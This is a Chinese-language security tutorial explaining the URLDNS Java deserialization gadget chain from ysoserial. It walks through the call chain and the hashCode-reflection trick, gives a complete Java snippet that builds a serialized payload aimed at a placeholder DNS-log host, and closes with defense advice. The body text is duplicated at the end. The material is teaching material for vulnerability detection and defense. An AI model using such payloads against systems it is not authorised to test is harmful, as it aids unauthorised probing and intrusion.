JAVA反序列化之URLDNS链
字数 1104 2025-08-20 18:17:59

Java反序列化漏洞利用:URLDNS链详解

一、URLDNS链概述

URLDNS是ysoserial工具中最简单的一条反序列化利用链,具有以下显著优点:

  1. 完全基于Java内置类构造,不依赖任何第三方库
  2. 在目标没有回显时,可通过DNS请求验证漏洞存在
  3. 简单可靠,适合作为反序列化漏洞的检测手段

二、Java反序列化挖掘的三个关键方面

  1. 入口类:支持序列化且重写了readObject方法的类
  2. 目标类:包含可利用方法的类
  3. 执行函数:最终实现RCE、文件上传或SSRF等效果的方法

三、URLDNS链核心原理分析

1. 调用链分析

完整的调用链如下:

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

2. 关键类解析

  • HashMap:重写了反序列化的readObject()方法

    • readObject()方法调用hash()方法
    • hash()方法调用Key值的hashCode方法
  • URL类

    • 可序列化且实现了hashCode方法
    • hashCode方法调用getHostAddress()
    • getHostAddress()最终调用InetAddress.getByName(),会发起DNS查询

四、技术细节与注意事项

1. put方法的干扰

HashMap的put方法也会调用hash()方法,导致DNS请求提前触发:

hashmap.put(url,1); 
// 实际调用链:
// HashMap.put() -> putVal() -> hash() -> URL.hashCode()

这会带来两个问题:

  1. 产生误报,让我们误以为反序列化成功
  2. URL对象的hashCode会被缓存,导致后续反序列化时不再触发DNS请求

2. hashCode缓存机制

URL类的hashCode实现有缓存机制:

public synchronized int hashCode() {
    if (hashCode != -1)  // 如果已计算过hashCode则直接返回
        return hashCode;
    hashCode = handler.hashCode(this);  // 首次计算
    return hashCode;
}

3. 解决方案:反射修改hashCode

通过反射技术可以绕过hashCode缓存:

  1. 创建URL对象后,立即用反射将其hashCode设为非-1的值
  2. 执行put操作(此时不会触发DNS请求)
  3. 再用反射将hashCode重置为-1
  4. 序列化对象后,反序列化时会重新计算hashCode,触发DNS请求

五、完整利用代码示例

public static void main(String[] args) throws Exception {
    // 1. 创建HashMap和URL对象
    HashMap<URL, Integer> hashmap = new HashMap<>();
    URL url = new URL("http://yourdnslog.example.com");
    
    // 2. 获取URL类的Class对象
    Class c = url.getClass();
    
    // 3. 使用反射修改hashCode初始值
    Field hashCodeField = c.getDeclaredField("hashCode");
    hashCodeField.setAccessible(true);
    hashCodeField.set(url, 123); // 设为任意非-1值
    
    // 4. 将URL对象放入HashMap(此时不会触发DNS)
    hashmap.put(url, 1);
    
    // 5. 重置hashCode为-1,确保反序列化时重新计算
    hashCodeField.set(url, -1);
    
    // 6. 序列化对象
    serialize(hashmap);
    
    // 反序列化时会触发DNS请求
}

六、实际应用场景

  1. 漏洞检测:当目标系统存在反序列化漏洞但无回显时,可通过DNS日志确认漏洞
  2. 无依赖探测:不依赖任何第三方库,适用于各种Java环境
  3. SSRF探测:除了DNS请求,也可用于探测内网服务

七、防御建议

  1. 避免反序列化不可信数据
  2. 使用白名单机制限制可反序列化的类
  3. 升级JDK,使用最新的安全补丁
  4. 使用安全的替代方案如JSON、XML等数据格式

八、总结

URLDNS链是Java反序列化漏洞利用中最简单、最可靠的检测方式,通过精心构造的序列化对象,利用Java内置类的特性触发DNS请求,无需依赖第三方库即可验证漏洞存在。理解其原理不仅有助于安全测试,也能帮助开发者更好地防御此类漏洞。

Java反序列化漏洞利用:URLDNS链详解 一、URLDNS链概述 URLDNS是ysoserial工具中最简单的一条反序列化利用链,具有以下显著优点: 完全基于Java内置类构造,不依赖任何第三方库 在目标没有回显时,可通过DNS请求验证漏洞存在 简单可靠,适合作为反序列化漏洞的检测手段 二、Java反序列化挖掘的三个关键方面 入口类 :支持序列化且重写了readObject方法的类 目标类 :包含可利用方法的类 执行函数 :最终实现RCE、文件上传或SSRF等效果的方法 三、URLDNS链核心原理分析 1. 调用链分析 完整的调用链如下: 2. 关键类解析 HashMap :重写了反序列化的readObject()方法 readObject()方法调用hash()方法 hash()方法调用Key值的hashCode方法 URL类 : 可序列化且实现了hashCode方法 hashCode方法调用getHostAddress() getHostAddress()最终调用InetAddress.getByName(),会发起DNS查询 四、技术细节与注意事项 1. put方法的干扰 HashMap的put方法也会调用hash()方法,导致DNS请求提前触发: 这会带来两个问题: 产生误报,让我们误以为反序列化成功 URL对象的hashCode会被缓存,导致后续反序列化时不再触发DNS请求 2. hashCode缓存机制 URL类的hashCode实现有缓存机制: 3. 解决方案:反射修改hashCode 通过反射技术可以绕过hashCode缓存: 创建URL对象后,立即用反射将其hashCode设为非-1的值 执行put操作(此时不会触发DNS请求) 再用反射将hashCode重置为-1 序列化对象后,反序列化时会重新计算hashCode,触发DNS请求 五、完整利用代码示例 六、实际应用场景 漏洞检测 :当目标系统存在反序列化漏洞但无回显时,可通过DNS日志确认漏洞 无依赖探测 :不依赖任何第三方库,适用于各种Java环境 SSRF探测 :除了DNS请求,也可用于探测内网服务 七、防御建议 避免反序列化不可信数据 使用白名单机制限制可反序列化的类 升级JDK,使用最新的安全补丁 使用安全的替代方案如JSON、XML等数据格式 八、总结 URLDNS链是Java反序列化漏洞利用中最简单、最可靠的检测方式,通过精心构造的序列化对象,利用Java内置类的特性触发DNS请求,无需依赖第三方库即可验证漏洞存在。理解其原理不仅有助于安全测试,也能帮助开发者更好地防御此类漏洞。